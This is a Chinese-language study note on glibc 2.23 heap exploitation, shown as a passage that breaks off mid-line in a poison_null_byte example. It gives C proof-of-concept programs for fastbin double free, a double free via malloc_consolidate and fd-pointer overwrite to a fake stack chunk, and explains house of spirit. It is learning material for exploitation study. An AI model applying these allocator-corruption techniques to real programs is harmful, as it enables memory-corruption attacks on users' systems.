示例代码取自这里
fastbin利用
fastbin_double_free
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
fprintf(stderr, "Allocating 3 buffers.\n");
char *a = malloc(9);
char *b = malloc(9);
char *c = malloc(9);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
strcpy(c, "CCCCCCCC");
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
fprintf(stderr, "Freeing the first one %p.\n", a);
free(a);
fprintf(stderr, "Then freeing another one %p.\n", b);
free(b);
fprintf(stderr, "Freeing the first one %p again.\n", a);
free(a);
fprintf(stderr, "Allocating 3 buffers.\n");
char *d = malloc(9);
char *e = malloc(9);
char *f = malloc(9);
strcpy(d, "DDDDDDDD");
fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
strcpy(e, "EEEEEEEE");
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
strcpy(f, "FFFFFFFF");
fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
}
glibc2.23对中由于会对fastbin原本第一个的fast chunk和要放进去的chunk进行比对 即__builtin_expect (old == p, 0) 所以不能直接进行两次free操作所以需要一个媒介chunk来先把媒介chunk加入 然后就可以实施double free
use malloc_consolidate to double free
利用代码如下
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
int main() {
void *p1 = malloc(0x10);
void *p2 = malloc(0x10);
strcpy(p1, "AAAAAAAA");
strcpy(p2, "BBBBBBBB");
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2); //分配两个fast chunk
fprintf(stderr, "Now free p1!\n");
free(p1);//释放挂入fastbin
void *p3 = malloc(0x400);//会出发malloc_consolidate p1先会被挂入unsorted bin中 之后p3在unsorted bin中寻找合适的块的时候由于p1不合适 所以p1最终会被挂入small bin中去
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);//此时触发double free后 由于对应的p1先前被挂入了small bin中 所以就绕过了__builtin_expect (old == p, 0)
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
void *p4 = malloc(0x10);
strcpy(p4, "CCCCCCC");
void *p5 = malloc(0x10);
strcpy(p5, "DDDDDDDD");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5);
}
具体攻击流程是malloc两个fast chunk 因为需要保证malloc_consolidate的时候fastbin不会被top chunk合并掉 然后free第一个 这个时候被挂入了fastbin 之后malloc一个large chunk 然后这个freed chunk会被挂入small bin中 之后再次free第一个chunk 这个时候就触发了 double free 我们就可以对这个chunk进行进一步利用
double_free + overwrite_fd_into_stack(double free之后的进一步利用)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
unsigned long long stack_var = 0x21;
fprintf(stderr, "Allocating 3 buffers.\n");
char *a = malloc(9);
char *b = malloc(9);
char *c = malloc(9);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
strcpy(c, "CCCCCCCC");
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
fprintf(stderr, "Freeing the first one %p.\n", a);
free(a);
fprintf(stderr, "Then freeing another one %p.\n", b);
free(b);
fprintf(stderr, "Freeing the first one %p again.\n", a);
free(a);
fprintf(stderr, "Allocating 4 buffers.\n");
unsigned long long *d = malloc(9);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
char *e = malloc(9);
strcpy(e, "EEEEEEEE");
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
char *f = malloc(9);
strcpy(f, "FFFFFFFF");
fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f);
char *g = malloc(9);
strcpy(g, "GGGGGGGG");
fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g);
}
通过fastbin double free 我们可以通过double free之后再一次malloc 然后通过修改fd指针(这就是double free的进一步利用) 使其之后malloc的时候指向我们可控的一个栈变量上 即伪造size 注意这个size需要与该fastbin对应的大小一致 否则会崩溃 简单地说就是 fake chunk 的 size 与 double-free 的 chunk 的 size 相同即可。
house of spirit进行fastbin attack
house of spirit 是一种针对fast bin的攻击 其攻击原理是通过栈溢出 溢出一个存储有已经分配chunk的指针 劫持这个地址的内容到我们想控制的一个栈地址上 当前前提需要在这个栈地址上布置好这个fastbin的size并需要保证这个next chunk的size要在合理的范围之内在All In One上面是这样阐述布置这个fake chunk的注意点的:
smallbin利用
poison_null_byte
示例代码如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main() {
uint8_t *a, *b, *c, *b1, *b2, *d;
a = (uint8_t*) malloc(0x10);
int real_a_size = malloc_usable_size(a);
fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a);
fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size);
b = (uint8_t*) malloc(0x100);
c = (uint8_t*) malloc(0x80);
fprintf(stderr, "b: %p\n", b);
fprintf(stderr, "c: %p\n", c);
uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
*(size_t*)(b+